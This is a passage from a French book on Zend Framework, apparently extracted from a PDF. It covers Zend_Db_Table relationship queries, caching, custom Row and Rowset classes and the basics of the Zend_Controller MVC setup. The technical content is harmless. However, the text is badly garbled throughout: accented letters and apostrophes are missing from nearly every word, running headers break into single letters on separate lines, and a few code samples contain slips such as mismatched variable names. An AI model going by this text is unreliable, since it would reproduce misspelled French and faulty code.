s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
67
Trouver la salle concerne par une rservation
Partir dun utilisateur et trouver les rservations quil a cres
Partir dun utilisateur et trouver les rservations auxquelles il est affect
Zend Framework va automatiquement se charger de crer les jointures
ncessaires la rcupration des rsultats. Dans le cas dune erreur, une
exception Zend_Db_Table_Row_Exception est leve. Par dfaut, toutes les
colonnes des tables jointes sont slectionnes : toujours suivant le mme
principe, la cration dun objet Zend_Db_Table_Select adapt permet de
limiter les champs retourns.
<?php
// comme dhabitude, nous supposons la classe TRervation
incluse
$Treserv = new Treservation;
// Rcupration par cl primaire
$reservation = $Treserv->find(1)->current();
$salleCorrespondante = $reservation->findParentTRoom();
// $salleCorrespondante est un Row issu de la classe Troom
echo $salleCorrespondante->name; // nom de la salle
<?php
$Tuser = new Tuser;
// Rcupration par cl primaire
$utilisateur = $Tuser->find(2)->current();
$reservCorrespondantes = $utilisateur->findTReservation();
// $reservCorrespondantes est un Rowset issu de
// la classe TReservation
foreach ($reservCorrespondantes as $reserv) {
echo "$utilisateur->firstname a cre une reservation
pour $reserv->usage";
}
<?php
$Tuser = new Tuser;
// Rcupration par cl primaire
$utilisateur2 = $Tuser->find(2)->current();
$reservs = $utilisateur2->findTReservationViaTReservationUser();
// $ reservs est un Rowset issu de la classe TReservation
foreach ($reservs as $reservation) {
echo "$utilisateur2->firstname est affect la
reservation $reservation->usage";
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
68
Partir dun utilisateur et trouver les rservations quil a cres en limitant les
colonnes retournes
Performances et stabilit
Le modle propos par Zend_Db_Table est simple. Cependant, une utili-
sation incorrecte de ces classes peut vite faire tourner lapplication la
catastrophe au niveau des performances.
Les classes Zend_Db_Table emploient la mthode describeTable() afin
de se renseigner sur la table quelles utilisent. Il est possible de mettre ces
donnes en cache via Zend_Cache, afin dviter PHP de les recharger
chaque requte HTTP. Pour cela, agissez comme suit :
Mettre les mtadonnes utilises par Zend_Db_Table en cache
Dans cet exemple, nous choisissons APC (appel de procdure asyn-
chrone) comme support pour le cache. La partie cache concernant
Zend_Cache est dtaille au chapitre 10.
Zend_Db propose un objet de profiling, Zend_Db_Profiler, permettant de
prendre connaissance des requtes envoyes au SGBD, et de reprer les
requtes les plus lentes. Mme si le SGBD lui-mme propose en gnral
ce genre doutil, il peut tre intressant de lier Zend_Db_Profiler avec
<?php
$Tuser = new Tuser;
$Treservation = new Treservation;
$select = $Treservation->select()
->from($TReservation, 'usage');
// Rcupration par cl primaire
$utilisateur = $Tuser->find(2)->current();
$reservCorrespond = $utilisateur->findTReservation($select);
// $reservCorrespond est un Rowset issu de la classe
// Treservation dont les Rows qui le composent sont
// limits en champs
foreach ($reservCorrespond as $reserv) {
echo "$utilisateur->firstname est affect une
runion $reserv->usage";
}
<?php
$frontendOptions = array('automatic_serialization' => true,
'lifetime' => 100);
$cache = Zend_Cache::factory('Core', 'APC', $frontendOptions,
array());
Zend_Db_Table_Abstract::setDefaultMetadataCache($cache);
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
69
Zend_Log par exemple, pour enregistrer ou surveiller les requtes les plus
gourmandes. Il faut noter aussi quune classe Zend_Db_Profiler_Firebug
existe, son nom est explicite.
Les bons rflexes
Voici quelques conseils suivre :
Slectionnez toujours les champs qui vous intressent dans une table,
utilisez aussi souvent que possible une clause comparable LIMIT ou
encore WHERE afin de rduire le nombre de rsultats slectionns.
Utilisez la rcupration des dpendances avec parcimonie
(findDependentRowset() par exemple). Ces mthodes effectuent des
jointures et slectionnent par dfaut tous les champs de la table jointe.
Les utiliser dans une boucle serait un pur massacre pour le SGBD:
crivez vous-mme vos jointures en les limitant au strict ncessaire.
Utilisez des vues pour accder vos donnes de manire simple et
optimale. Zend_Db_Table fonctionne avec les vues.
Essayez de transfrer un maximum de traitements au niveau du
SGBD : vues, dclencheurs, procdures stockes... MySQL, comme
tout SGBD rcent, est capable de traiter cela de manire bien plus
performante que si la logique tait dporte dans lapplication.
vitez les oprations idiotes :
$obj = $table->find(3)->current()->delete();
doit tre remplac par :$table->delete(3);
Gardez toujours lesprit le type de requtes qui sont effectues
lorsque vous utilisez des mthodes ou des objets mtier. Utilisez le
profileur pour cela.
Utilisez un cache comme Zend_Cache pour mettre en cache les
requtes les plus lourdes, voyez aussi du ct de votre SGBD : il est
capable de mettre en cache des requtes prpares entre deux con-
nexions, et Zend Framework nutilise que des requtes prpares.
Aller plus loin avec le composant Zend_Db
Crer ses requtes personnalises
Chaque classe dite de modle, possde des mthodes dont elle hrite de
Zend_Db_Table_Abstract. Mais il est tout fait possible, et mme
recommand, dcrire dautres mthodes qui seront utiles plus tard dans
les contrleurs.
PRATIQUE Profileur
Zend_Db_Profiler est un objet qui permet
lanalyse statistique des requtes. Il nest pas diffi-
cile mettre en place et un coup dil la docu-
mentation vous permettra de rapidement vous
familiariser avec loutil. Son homologue
Zend_Db_Profiler_Firebug permet de
toujours surveiller, dans la console Firebug, les
requtes envoyes au SGBD.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
70
Par exemple, notre application pourrait avoir besoin de demander si une
salle est disponible de telle date telle date. Idem pour un utilisateur :
est-il disponible entre le 1
er
janvier et le 3 fvrier de cette anne ?
Nous allons, pour rpondre ces questions, crer des mthodes dans les
classes Troom et Tuser.
Exemple de mthode personnalise
Nous nous retrouvons avec une classe Troom qui possde deux mthodes
faites main :
isAvailableAtPeriod($id, Zend_Date $debut, Zend_Date $fin) : bool ;
getReservedDaysCount($id) : int.
Les calculs peuvent paratre un peu complexes, ils utilisent Zend_Date et
des fonctions de MySQL, mais ils rpondent au besoin. Chaque classe
passerelle possde une rfrence vers lobjet Adapter, accessible via
lattribut $_db.
<?php
class TRoom extends Zend_Db_Table_Abstract
{
protected $_name = 'room';
protected $_primary = 'id';

public function isAvailableAtPeriod($id, Zend_Date $debut, Zend_Date $fin)
{
$select = $this->_db->select();
$select ->from(array('r'=>'reservation'),'id_room')
->where("UNIX_TIMESTAMP(date_begin) BETWEEN {$debut->getTimestamp()}
AND {$fin->getTimestamp()}")
->orWhere("UNIX_TIMESTAMP(date_end) BETWEEN {$debut->getTimestamp()}
AND {$fin->getTimestamp()}")
->orWhere($this->_db->quoteInto('UNIX_TIMESTAMP(date_end)<?',
$debut->getTimestamp()))
->where('r.id_room = ?', (int)$id, Zend_Db::INT_TYPE);
return !(bool)$select->query()->rowCount();
}

public function getReservedDaysCount($id)
{
$select = $this->_db->select();
$select->from(array('r'=>'reservation'),
array('count'=>'UNIX_TIMESTAMP(date_end)-UNIX_TIMESTAMP(date_begin)'))
->where('id_room=?', (int)$id, Zend_Db::INT_TYPE)
->where('UNIX_TIMESTAMP(date_end)>?', Zend_Date::now()->getTimestamp());
return (int)ceil(array_sum(array_keys($this->_db->fetchAll($select, null,
Zend_Db::FETCH_GROUP))) / 86400);
}
}
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
71
tendre Row et Rowset
Zend Framework a t pens pour tre extensible et personnalisable. Il
propose un socle stable que chaque dveloppeur pourra tendre sa
manire. Les objets Row et Rowset en sont un bon exemple.
Par dfaut, Zend Framework utilise Zend_Db_Table_Row (et son quiva-
lent Rowset), qui tendent chacun respectivement Zend_Db_Table_Row_
Abstract (et son quivalent Rowset). Il est possible de remplacer ces
objets par les vtres. Ceci va vous permettre entre autres de :
dvelopper votre propre logique de gestion des rsultats dune base de
donnes ;
modifier les mcanismes de persistance et de sauvegarde des objets
dits mtier (objets Row).
Pour cela, il faut crer ses propres classes, puis indiquer chaque classe
passerelle que ce sont elles quelle devra utiliser, au lieu des objets par
dfaut. Ceci se ralise au moyen de mthodes comme setRowClass(), ou
encore via les attributs protgs $_rowClass et $_rowsetClass.
Nous allons ajouter une mthode saveToMemory() aux objets Row. Cette
mthode sauvegardera lobjet en mmoire en utilisant le cache pass aux
classes passerelles. Aussi, nous allons dvelopper un systme dauto-
sauvegarde de lobjet en mmoire si celui-ci a t modifi dans le script,
mais non sauvegard avec la mthode save(). Il est ncessaire de relier
un enregistrement Row sa table lorsquil est dsrialis. Nous allons
rendre cette tape automatique.
Les objets Rowset, quant eux, doivent pouvoir utiliser nimporte quelle
mthode propose par les objets Row quils contiennent. Ceci simplifiera
fortement lAPI.
La structure de nos classes et leur organisation au niveau du systme de
fichiers respectera les conventions Zend Framework, afin de pouvoir
bnficier de lautoload.
Une classe Row personnalise : Zfbook/Db/Table/Row.php
RAPPEL Autoload
Lorganisation de Zend Framework et lautoload
ont t abords au chapitre 4. Nous rappelons que
nous supposons lautoload activ, et nous omet-
tons donc toute instruction de type include ou
require.
<?php
/**
* Enregistrement (Row) de base de donnes
*/
class Zfbook_Db_Table_Row extends Zend_Db_Table_Row_Abstract
{
/**
* Activation/dsactivation de lautosauvegarde
* la destruction
*/
private static $_autoSave = true;
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
72
/**
* Mthode de manipulation de lautosauvegarde
*/
public static function setAutoSave($save)
{
self::$_autoSave = (bool) $save;
}

/**
* Sauvegarde les donnes dans le cache
*/
public function saveToMemory()
{
$cache = Zend_Db_Table::getDefaultMetadataCache();
if (!$cache instanceof Zend_Cache_Core ) {
throw new Zend_Db_Table_Row_Exception('Pas de cache configur');
}
$cacheId = '';
foreach ($this->_primary as $primary) {
$cacheId .= '_' . $this->$primary;
}
return $cache->save($this, $this->_tableClass.$cacheId);
}

/**
* Destructeur dobjet.
* Sauvegarde automatiquement lobjet dans le cache
* si la sauvegarde est active et si lobjet a t modifi
* depuis sa cration.
*/
public function __destruct()
{
if (!self::$_autoSave || empty($this->_modifiedFields)) {
return;
}
$this->saveToMemory();
}

/**
* Appel la dsrialisation de lobjet
* Reconnecte automatiquement lobjet sa table
*/
public function __wakeup()
{
$this->setTable(new $this->_tableClass);
}
}
5


A
c
c

s

a
u
x

b
a
s
e
s

d
e

d
o
n
n

e
s
Groupe Eyrolles, 2008
73
Une classe Rowset personnalise : Zfbook/Db/Table/Rowset
Pour pouvoir utiliser ces deux objets Row et Rowset, il faut les dclarer au
niveau des classes passerelles (Zend_Db_Table), par exemple comme ceci :
Faire en sorte quune classe passerelle utilise les objets personnaliss
La classe TRoom servira maintenant des objets Zfbook_Db_Table_Row et
Rowset, avec leurs fonctionnalits additionnelles.
Tout objet Row qui a t modifi depuis sa cration et non sauvegard
avec la mthode save() sera alors, sa destruction, sauvegard dans un
cache. Actuellement, il nexiste pas de mthode permettant de les rcu-
prer du cache, mais nous laissons ceci votre apprciation.
Aussi, le proxy de mthodes sur le Rowset est trs intressant, dans la
mesure o il permet un appel de mthode des objets Row, sur le Rowset.
<?php
class Zfbook_Db_Table_Rowset extends Zend_Db_Table_Rowset_Abstract
{
/**
* Mthode magique mettant en cache tout appel non existant sur
* le Rowset, vers les Rows quil contient
*/
public function __call($meth, $args)
{
if (method_exists($this->_rowClass, $meth)) {
foreach ($this as $row) {
call_user_func_array(array($row, $meth), $args);
}
} else {
trigger_error("Call to undefined method ".get_class($this)."::$meth()", E_USER_ERROR);
}
}
}
<?php
class TRoom extends Zend_Db_Table_Abstract
{
protected $_name = 'room';
protected $_primary = 'id';

protected $_rowClass = 'Zfbook_Db_Table_Row';
protected $_rowsetClass = 'Zfbook_Db_Table_Rowset';
// ... suite de la classe
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
74
Proxy de mthode dun Rowset vers les Rows quil contient
En rsum
Zend_Db est un composant riche en fonctionnalits et trs extensible. Il
permet une interface simple et robuste avec la plupart des SGBD du
march et propose, dans la majorit des cas, linsertion automatique de
caractres dchappement ainsi que des requtes prpares.
Son implmentation, base sur les motifs de conception Table Data
Gateway et Row Data Gateway, permet des oprations simples sur les
tables ou les vues, alors quils ont t programms pour tre extensibles
et ventuellement pour sintgrer dans des solutions plus larges dORM.
<?php
$Tuser = new TUser;
// Rcupration des utilisateurs 1, 2 et 3
// $users est un jeu de rsultats : Rowset
$users = $Tuser->find(array(1, 2, 3));
// Cette mthode nexiste pas sur les objets Rowset, mais
// sera appele, grce __call, sur tous les objets
// Row le composant
$users->saveToMemory();
Groupe Eyrolles, 2008
chapitre 6
Groupe Eyrolles, 2008
Architecture MVC
Rares sont les applications web qui nutilisent pas de prs
ou de loin une architecture de type MVC. Motif de conception
spcialis dans lorganisation globale dune application, MVC
propose une sparation entre le design, la gestion des donnes
et la logique de navigation.
SOMMAIRE
BComprendre lorganisation
MVC de Zend Framework
BMatriser lutilisation de
Zend_Controller
COMPOSANTS
BZend_Controller
BZend_Layout
BZend_View
MOTS-CLS
BMVC
Bmodle
Bvue
Bcontrleur
Barchitecture
Btemplate
Baction
Bnavigation
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
78
Zend Framework propose sa propre implmentation de MVC. Celle-ci
est pense pour tre souple et paramtrable. Le composant
Zend_Controller, au cur de cette implmentation, peut tre utilis
simplement avec sa configuration par dfaut ou, de manire avance,
grce un systme de routage et de configuration tendu.
Ce chapitre est divis en trois grandes parties :
Zend_Controller utilisation simple : une introduction pratique et
accessible sur ce composant central. Cette partie permettra de crer
une application MVC en quelques minutes en adoptant une architec-
ture minimale.
Zend_Layout, Zend_View : de ces composants dpend toute la logique
daffichage client de Zend Framework. Nous abordons ici leur fonc-
tionnement et leurs possibilits tendues.
Le modle : extraction et structuration des donnes afficher.
Enfin, le chapitre suivant est consacr lutilisation avance de
Zend_Controller. Son objectif sera de vous faire comprendre le fonc-
tionnement interne de ce composant et de vous aider en matriser toute
la souplesse et les possibilits. Nous verrons entre autres lutilisation de
modules, la cration de plugins et les paramtrages avancs de tous les
objets au cur du modle MVC de Zend Framework.
Zend_Controller : utilisation simple
Nous vous proposons ici de mettre en place en quelques minutes une
architecture MVC minimale avec Zend Framework. Ainsi, nous allons
structurer notre application dans les rgles de lart.
Mettre en place larchitecture
Avant toute chose, nous devons crer des dossiers et des fichiers de base
ils sont reprsents sur la figure 6-1. Il vous suffit pour cela de crer les
dossiers reprsents ainsi que les fichiers, qui, dans un premier temps,
seront vides.
Dans une application Zend Framework, la partie MVC est situe dans un
dossier part, nomm par dfaut application. Trois sous-dossiers
controllers, views et models ont des noms explicites quant leur contenu.
Dans le dossier controllers, le fichier IndexController.php contient
le contrleur principal de lapplication, cest- dire celui qui est
appel par dfaut.
PRREQUIS MVC
Avant daborder ce chapitre, il est important
davoir compris en thorie ce quest une architec-
ture MVC. Lannexe E est consacre la prsenta-
tion thorique de MVC.
PRATIQUE Zend Studio
Le logiciel Zend Studio For Eclipse permet de
mettre sur pied un projet type, en quelques clics
seulement. Vous trouverez de plus amples infor-
mations ce sujet au chapitre 14.
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
79
Le fichier index.phtml, dans views/index, correspond la vue du
contrleur principal. En fait, il sagit de la vue de laction index (nom
du fichier) du contrleur index (nom du dossier contenant).
Le fichier html/index.php est ce que lon appelle un bootstrap ou
fichier damorage . Cest vers ce fichier que toutes les requtes
HTTP sont rediriges, mis part celles des fichiers statiques
(images, CSS, JavaScript...).
Parcours dune requte HTTP
Une fois munis des dossiers et fichiers principaux, il est important de com-
prendre le parcours de notre requte HTTP. La figure 6-2 illustre cette
opration avec un exemple de requte vers un export de rservations.
Figure 61
Dossiers et fichiers
pour une architecture MVC minimale
PERFORMANCE Bootstrap
Le bootstrap (ou fichier damorage) nest pas
spcifique au Zend Framework. On le retrouve
dans de nombreux projets bass sur MVC. Il est le
point dentre de toute requte sollicitant la cra-
tion dune page dynamique. Cela fait aussi de lui le
goulet dtranglement de lapplication ! Il est donc
important de veiller la prsence de chacun des
objets, de ne pas en crer dinutiles, ou encore
dutiliser des caches aussi souvent que possible.
Figure 62
Appel de laction correspondant
la requte HTTP
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
80
Notre requte passe dabord par le contrleur frontal qui est instanci
dans le bootstrap (html/index.php). Ce contrleur frontal va dterminer
quel contrleur et quelle action doivent tre appels. Cest ainsi, par
exemple, que le contrleur rservations est instanci et que laction
exporter est appele. Techniquement, un contrleur est une classe, et
laction une mthode de cette dernire.
Dernire chose importante savoir : dans Zend Framework, par dfaut,
le contrleur et laction appeler dpendent de lURL. Ce mcanisme
est illustr par la figure 6-3.
la racine de lURL, le premier mot entre deux caractres / est le nom
du contrleur appeler et le deuxime est le nom de laction. Lorsquon ne
spcifie pas le contrleur et laction dans lURL, ils sont par dfaut
nomms index et index. De cette manire, la mthode indexAction() de
la classe IndexController sera automatiquement appele.
Exemple simple dutilisation de
Zend_Controller
Passons maintenant au code source. Une fois les dossiers et les fichiers
crs, puis le principe compris, il reste limplmentation. Voici dans un
premier temps quoi ressemble linstanciation du contrleur frontal
dans le bootstrap :
Contenu du bootstrap html/index.php
T Module
Le module est une dimension supplmentaire du
modle MVC propos par Zend_Controller.
Reservs aux sites de taille importante, les
modules sont des dossiers qui encapsulent chacun
un trio Modle-Vue-Contrleur. Conceptuellement,
nous pouvons assimiler les modules des sous-
sites, inclus dans le site actuel.
T Routage
Cette rgle qui lie le format de lURL aux appels
des actions est un comportement par dfaut dans
Zend Framework. Il est possible de modifier tout
ou partie de ce comportement grce aux mca-
nismes de routage qui seront abords plus loin
dans ce chapitre.
Figure 63
Appel de laction correspondant
aux paramtres de lURL
// Utilisation de Zend_Loader
require_once 'Zend/Loader.php';
// Chargement automatique des classes
Zend_Loader::registerAutoload();
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
81
Les premire et deuxime lignes correspondent simplement lappel de
lautoload qui permet le chargement automatique des classes. Cest la
troisime ligne qui nous intresse ici.
La mthode run() de la classe Zend_Controller_Front instancie le con-
trleur frontal avec, comme paramtre, le chemin vers les contrleurs. Il
est bien entendu possible de faire cela de manire plus minutieuse, mais
nous nous limitons volontairement ici cette version minimale, par
souci de clart.
Voyons ensuite ce que contient le fichier IndexController.php, qui ren-
ferme le contrleur et laction :
Contenu du contrleur application/controllers/IndexController.php
Toujours en version minimale, nous pouvons dduire deux informations
essentielles de ce script :
le contrleur est la classe IndexController. Tout contrleur Zend
Framework tend la classe Zend_Controller_Action ;
laction est la mthode indexAction() de la classe IndexController.
Toute action Zend Framework est une mthode suffixe par le mot-
cl Action.
Enfin, il nous reste voir le contenu de la vue views/index/
index.phtml :
Contenu de la vue views/index/index.phtml
La vue contient simplement du code HTML. Bien sr, il pourra y avoir
un peu de PHP par la suite, ce que nous verrons dans la section
Zend_View. Zend Framework appelle automatiquement la vue. Si celle-ci
nexiste pas, une erreur est gnre.
// Appel du contrleur frontal,
// qui se charge de traiter la requte
Zend_Controller_Front::run('../application/controllers');
// La classe correspondant au contrleur index
// (contrleur par dfaut)
class IndexController extends Zend_Controller_Action
{
// Laction index
public function indexAction()
{}
}
<p>Bonjour le monde !</p>
RAPPEL Autoload
Lautoload est une fonctionnalit PHP aborde en
annexe B. Zend_Loader est une classe encap-
sulant un mcanisme dautoload ; elle est dtaille
dans le chapitre 4.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
82
Mettre en place le squelette de lapplication
Reprenons ici notre application de gestion de salles. Nous allons simple-
ment crer les fichiers qui correspondent aux contrleurs et aux vues,
puis les classes qui correspondent nos contrleurs.
Un contrleur ReservationController sera tout particulirement impor-
tant dans notre application. Il a dj t implicitement abord dans les
illustrations 6-2 et 6-3 prcdentes. Cest travers ce contrleur que
nous accderons aux fonctionnalits principales de notre application.
La figure 6-4 prsente les classes, actions et vues qui interviennent dans
le squelette prvisionnel de notre application. Cette organisation peut
changer au fur et mesure des dveloppements, mais il est intressant
davoir un aperu de ce squelette afin dassurer une rpartition cohrente
des fonctionnalits dans les contrleurs et les actions.
Voici ce que nous pouvons dire de cette rpartition prvisionnelle :
Le contrleur IndexController va grer la page daccueil gnrale de
lapplication. Il comportera la page daccueil avec sa vue associe, un
formulaire de contact et assurera aussi le changement de langue. Seul
le changement de langue na pas besoin de vue, car nous souhaitons
que cette opration se fasse sur la page courante.
LoginController est responsable du traitement du formulaire diden-
tification (login) situ en haut droite de toute page. Ce contrleur
donne un exemple daction ayant plusieurs vues qui ne reprsentent
pas des pages, mais seulement des blocs faisant partie du gabarit
(layout) de lapplication.
Figure 64
Squelette prvisionnel de lapplication
RENVOI MVC avanc
Par dfaut, une action est toujours lie une vue qui
porte son nom. Cette politique, bien que conseille
pour une organisation cohrente, nest pas une obli-
gation. Il est possible de lier une action une ou plu-
sieurs vues manuellement, ou aucune, en fonction
des besoins. Ce sera le cas dans notre application,
comme nous pouvons le voir sur la figure 6-4. Ces
changements par rapport aux comportements par
dfaut seront expliqus ultrieurement.
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
83
ReservationController comportera les fonctionnalits principales de
lapplication de rservation. Il permettra laccs aux fonctionnalits
de lecture et ddition des rservations. Laction list est lie une
fonctionnalit spciale appele ContextSwitch que nous aborderons
plus tard et qui permet de slectionner une vue parmi plusieurs en
fonction dun contexte (HTML, RSS...).
ErrorController est appel automatiquement lorsquune exception
est leve dans le modle MVC. Nous aborderons ce contrleur sp-
cial plus loin.
Enfin, WebserviceController sera spcialement ddi aux services
web et aux flux. Ces mcanismes ne ncessitent pas de vue, comme
nous le verrons dans le chapitre 12 consacr aux services web.
Code du squelette
Le contenu de chaque contrleur est bas sur le mme principe : une
classe qui reprsente le contrleur et des mthodes qui correspondent
aux actions, comme nous lavons vu prcdemment. Voici un exemple de
squelette pour le contrleur ReservationController :
Squelette de ReservationController
class ReservationController extends Zend_Controller_Action
{
// fait appel la vue reservation/index.phtml
public function indexAction()
{
}
// fait appel aux vues reservation/list.*.phtml
// (contextswitch)
public function listAction()
{
}
// fait appel la vue reservation/edit.phtml
public function editAction()
{
}
// ne fait appel aucune vue, appelle la page prcdente
public function deleteAction()
{
}
// fait appel la vue reservation/export.phtml
public function exportAction()
{
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
84
Les vues sont situes comme prvu dans le dossier views/scripts. Toute
vue doit comporter lextension *.phtml. Dans un premier temps, nos
fichiers de vues seront vides. Il est nanmoins ncessaire de les crer,
sinon une erreur sera signale.
Attribuer des paramtres la vue
Revenons notre apprentissage de limplmentation MVC propose par
Zend Framework. Comme nous venons de le voir, par dfaut, un con-
trleur est li une vue. Lemplacement de la vue dpend du contrleur
et de laction sollicits. Par exemple, lappel de laction
ReservationController::listAction() est li la vue views/scripts/
controller/list.phtml.
Il est possible dattribuer des paramtres la vue depuis le contrleur.
Cette opration est trs courante (cest le rle thorique des contrleurs),
car elle permet dafficher toutes les informations dynamiques telles que
le contenu de la base de donnes. Pour reprendre notre exemple simple,
nous allons juste attribuer un paramtre $title la vue depuis notre
contrleur :
Attribution dun paramtre dynamique la vue (mthode 1)
Voici au passage une autre manire de dclarer le paramtre $title en
utilisant les mthodes magiques internes Zend_View. Cette mthode est la
plus utilise.
Attribution dun paramtre dynamique la vue (mthode 2)
Laffichage du contenu de ce paramtre dans la vue est simple. Il ny a
quune seule chose comprendre : la vue est situe dans lobjet
class IndexController extends Zend_Controller_Action
{
public function indexAction()
{
$this->view->assign('title', 'Bonjour le monde');
}
}
class IndexController extends Zend_Controller_Action
{
public function indexAction()
{
$this->view->title = 'Bonjour le monde';
}
}
T Mthodes magiques
Les mthodes magiques ont des noms prdfinis qui
commencent par deux traits de soulignement
__ . Elles proposent des automatismes spcifi-
ques limplmentation objet de PHP 5. Vous trou-
verez des informations dtailles sur les mthodes
magiques dans l'annexe C consacre la POO.
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
85
$this->view de notre contrleur. En dautres termes, la variable spciale
$this dans la vue correspond $this->view dans le contrleur (agrga-
tion). Il est alors ais de rcuprer le titre pour lafficher :
Affichage du paramtre title dans la vue
Toute attribution de paramtre se fait de cette manire. Cette mthode
permet entre autres de filtrer et disoler tous les paramtres qui sont
passs la vue.
Manipulation des donnes HTTP
Laccs direct aux variables superglobales du type $_POST, $_GET, ainsi que
lappel direct de fonctions telles que header(), sont dconseills avec Zend
Framework. Les contrleurs daction disposent de mthodes getRequest()
et getResponse() qui permettent un accs des objets Request et
Response. Passer par ces objets permet, en thorie, dliminer les alas du
langage (configuration et volutions au fil des nouvelles versions).
La requte et la rponse dont il est question ici font rfrence au visiteur
(client HTTP). Il est important de prendre cela en compte de manire
ne pas les confondre. La figure 6-5 illustre la manire dont on accde
ces objets et ce quoi ils correspondent :
<p><?php echo $this->title; ?> !</p>
Figure 65
Accs aux objets Request
et Response de Zend Framework
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
86
getRequest() donne accs lobjet Zend_Controller_Request_Http
qui contient :
les paramtres HTTP de formulaires ou de barres dadresse $_POST
et $_GET, mais aussi $_COOKIE, $_SERVER et $_ENV ;
les noms du module, du contrleur et de laction courante.
getResponse() donne accs lobjet Zend_Controller_Response_Http
qui contient les donnes de la rponse HTTP :
les en-ttes HTTP ;
le contenu de la rponse (body) ;
les ventuelles exceptions rencontres lors de la construction de la
rponse ;
le code de la rponse et dautres informations concernant la rponse
(redirection, exceptions potentiellement leves par le renderer, etc.).
_getParam() est un raccourci qui permet de rcuprer des paramtres
de lobjet requte. Lappel $this->getRequest->getParam() a le
mme effet.
Ces mthodes seront largement utilises dans les pages qui comportent
des formulaires et des mcanismes lis aux paramtres HTTP. Dans ce
chapitre, reportez-vous aux sections Zend_Layout pour un exemple de
rcupration du contrleur, et la gestion des erreurs pour un exemple
avec _getParam().
Afin de se familiariser avec la requte et la rponse, voici une petite
action qui effectue une copie de sauvegarde (dump) de ces deux objets :
Laction IndexController::infoAction() qui effectue le dump
Cette action, qui est traite uniquement en mode debug, ajoute un en-
tte de rponse HTTP via getResponse->setHeader() et passe les objets
Request et Response la vue. Celle-ci affiche simplement un dump de
ces paramtres :
/**
* Dump de la requte et de la rponse
*/
public function infoAction()
{
if ($this->getInvokeArg('debug') == 1) {
$this->getResponse()->setHeader('Cache-control', 'no-cache');
$this->view->setTitrePage("Contenu de request et response");
$this->view->request = $this->getRequest();
$this->view->response = $this->getResponse();
}
}
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
87
Dump des paramtres request et response (index/info.phtml)
Le rsultat de ces dumps est illustr par la figure 6-6.
Initialisation et postdispatch
Il est possible de factoriser des traitements communs effectus en dbut
ou en fin de plusieurs actions grce aux mthodes dinitialisation et de
post-dispatching :
la mthode init() est appele la construction du contrleur
daction ;
la mthode preDispatch() est appele avant chaque action ;
la mthodepostDispatch() est appele aprs chaque action.
<div style="float: right">
<?php var_dump($this->response); ?>
</div>
<?php var_dump($this->request); ?>
Figure 66 Dump des objets Request et Response
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
88
Nous pouvons utiliser la mthode init(), par exemple, dans le contr-
leur ReservationController, afin de dclarer un titre par dfaut :
Dclaration dun titre par dfaut dans la mthode spciale init()
Comme nous pouvons le voir, on peut dvelopper dans la mthode
init() de la mme manire que dans nimporte quelle action. Laccs la
vue est possible, de mme bien sr qu getRequest(), getResponse(), et
tout autre objet de notre contrleur.
Un exemple avec postDispatch() est illustr dans le chapitre des services
web. Celui-ci explique comment faire appel au mcanisme de charge-
ment du service demand de manire similaire pour chaque type de trai-
tement RSS, SOAP ou REST.
Zend_Layout : crer un gabarit de page
Il est courant que chaque page comporte des parties communes, telles
que len-tte et le pied de page, le menu et les styles CSS. Zend_Layout
va nous permettre de crer un gabarit qui nous vitera de dupliquer du
code HTML dune vue lautre.
Pour simplifier notre apprentissage, considrons que lapplication ne
comporte quun seul gabarit de page. Mais que cela ne nous limite pas
dans labsolu, il est bien sr possible davoir plusieurs gabarits utiliss
sparment ou en mme temps.
La figure 6-7 illustre la composition du gabarit de toute page HTML
lie notre application. Ce gabarit est compos de cinq parties
principales :
les paramtres, situs dans la balise <head> de la page ;
len-tte (header) de la page, comportant le titre et le formulaire de
login ;
le sous-menu, lorsque celui-ci est actif, ce qui sera le cas dans le con-
trleur ReservationControllerpour afficher des liens vers les pages
correspondant aux actions ;
class ReservationController extends Zend_Controller_Action
{
public function init()
{
$this->view->setTitrePage("Rservation des salles");
}
}
6


A
r
c
h
i
t
e
c
t
u
r
e

M
V
C
Groupe Eyrolles, 2008
89
le contenu de la page (body), comprenant les donnes gnres par la
vue du contrleur ;
le pied de page (footer), qui contiendra simplement une information
de type copyright et des liens pour la gestion des langues.
Appel et contenu du gabarit principal
Avant de crer le contenu du gabarit principal, il faut indiquer au pro-
cessus MVC que nous allons utiliser des gabarits. On ralise cela dans le
bootstrap de lapplication, comme le montre le code suivant :
Dclaration du layout dans le bootstrap
